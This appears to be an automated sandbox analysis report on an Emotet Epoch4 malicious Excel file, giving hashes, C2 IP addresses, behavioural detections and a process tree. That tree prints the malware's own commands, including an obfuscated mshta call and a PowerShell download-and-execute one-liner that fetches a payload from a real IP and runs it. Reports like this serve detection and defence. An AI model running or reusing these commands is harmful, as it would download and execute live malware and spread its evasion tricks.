emotet | 279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257

General

Target

279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls
Size

142KB
MD5

479ce294962829b0994744dd0a5bff14
SHA1

ac79edae6353fb779e9dfad843193915e4667ce2
SHA256

279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257
SHA512

1ddd7e68fa08763d43b10ce5211034049b22f9d8bb30b600f85b3279f4394890aaba2899623d7404f5975012d5494f83ee0357451393d3819e48e381afa7612d

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2360	2352	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

32 3880 mshta.exe
39 364 powershell.exe
41 364 powershell.exe
45 364 powershell.exe
47 2740 rundll32.exe
48 2740 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1644 rundll32.exe
2784 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Cqjiwynhhbgup\ulecczgdel.olj rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

812 3880 WerFault.exe mshta.exe

flow	pid	process
32	3880	mshta.exe
39	364	powershell.exe
41	364	powershell.exe
45	364	powershell.exe
47	2740	rundll32.exe
48	2740	rundll32.exe

pid	process
1644	rundll32.exe
2784	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Cqjiwynhhbgup\ulecczgdel.olj	rundll32.exe

pid	pid_target	process	target process
812	3880	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2352 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
812	WerFault.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
2740	rundll32.exe
2740	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 812 WerFault.exe
Token: SeDebugPrivilege 364 powershell.exe

description	pid	process
Token: SeDebugPrivilege	812	WerFault.exe
Token: SeDebugPrivilege	364	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2352 wrote to memory of 3236	2352	EXCEL.EXE	splwow64.exe
PID 2352 wrote to memory of 3236	2352	EXCEL.EXE	splwow64.exe
PID 2352 wrote to memory of 2360	2352	EXCEL.EXE	cmd.exe
PID 2352 wrote to memory of 2360	2352	EXCEL.EXE	cmd.exe
PID 2360 wrote to memory of 3880	2360	cmd.exe	mshta.exe
PID 2360 wrote to memory of 3880	2360	cmd.exe	mshta.exe
PID 3880 wrote to memory of 364	3880	mshta.exe	powershell.exe
PID 3880 wrote to memory of 364	3880	mshta.exe	powershell.exe
PID 364 wrote to memory of 576	364	powershell.exe	cmd.exe
PID 364 wrote to memory of 576	364	powershell.exe	cmd.exe
PID 576 wrote to memory of 1644	576	cmd.exe	rundll32.exe
PID 576 wrote to memory of 1644	576	cmd.exe	rundll32.exe
PID 576 wrote to memory of 1644	576	cmd.exe	rundll32.exe
PID 1644 wrote to memory of 2784	1644	rundll32.exe	rundll32.exe
PID 1644 wrote to memory of 2784	1644	rundll32.exe	rundll32.exe
PID 1644 wrote to memory of 2784	1644	rundll32.exe	rundll32.exe
PID 2784 wrote to memory of 2208	2784	rundll32.exe	rundll32.exe
PID 2784 wrote to memory of 2208	2784	rundll32.exe	rundll32.exe
PID 2784 wrote to memory of 2208	2784	rundll32.exe	rundll32.exe
PID 2208 wrote to memory of 2740	2208	rundll32.exe	rundll32.exe
PID 2208 wrote to memory of 2740	2208	rundll32.exe	rundll32.exe
PID 2208 wrote to memory of 2740	2208	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2352

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3236

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2360

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:364

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:576

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2784

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cqjiwynhhbgup\ulecczgdel.olj",NHhujY
8⤵
- Suspicious use of WriteProcessMemory
PID:2208

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cqjiwynhhbgup\ulecczgdel.olj",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2740

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3880 -s 1668
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
memory/364-553-0x0000022BF6490000-0x0000022BF64B2000-memory.dmp

Filesize
136KB

Download
memory/364-585-0x0000022BF64E3000-0x0000022BF64E5000-memory.dmp

Filesize
8KB

Download
memory/364-602-0x0000022BF64E6000-0x0000022BF64E8000-memory.dmp

Filesize
8KB

Download
memory/364-572-0x0000022BF67A0000-0x0000022BF67DC000-memory.dmp

Filesize
240KB

Download
memory/364-584-0x0000022BF6C10000-0x0000022BF6C86000-memory.dmp

Filesize
472KB

Download
memory/364-583-0x0000022BF64E0000-0x0000022BF64E2000-memory.dmp

Filesize
8KB

Download
memory/1644-613-0x0000000000880000-0x00000000008A6000-memory.dmp

Filesize
152KB

Download
memory/2208-629-0x0000000000C60000-0x0000000000C86000-memory.dmp

Filesize
152KB

Download
memory/2352-116-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2352-128-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2352-118-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2352-117-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2352-129-0x00007FFDC85C0000-0x00007FFDC85D0000-memory.dmp

Filesize
64KB

Download
memory/2352-127-0x00007FFDC85C0000-0x00007FFDC85D0000-memory.dmp

Filesize
64KB

Download
memory/2352-670-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2352-669-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2352-668-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2352-667-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2352-115-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2740-630-0x0000000000C30000-0x0000000000C56000-memory.dmp

Filesize
152KB

Download
memory/2740-633-0x0000000004540000-0x0000000004566000-memory.dmp

Filesize
152KB

Download
memory/2784-627-0x0000000004B50000-0x0000000004B76000-memory.dmp

Filesize
152KB

Download
memory/2784-625-0x0000000004A00000-0x0000000004A26000-memory.dmp

Filesize
152KB

Download
memory/2784-623-0x00000000049A0000-0x00000000049C6000-memory.dmp

Filesize
152KB

Download
memory/2784-621-0x0000000004840000-0x0000000004866000-memory.dmp

Filesize
152KB

Download
memory/2784-618-0x0000000000FF0000-0x0000000001016000-memory.dmp

Filesize
152KB

Download
memory/2784-616-0x0000000000CF0000-0x0000000000D16000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads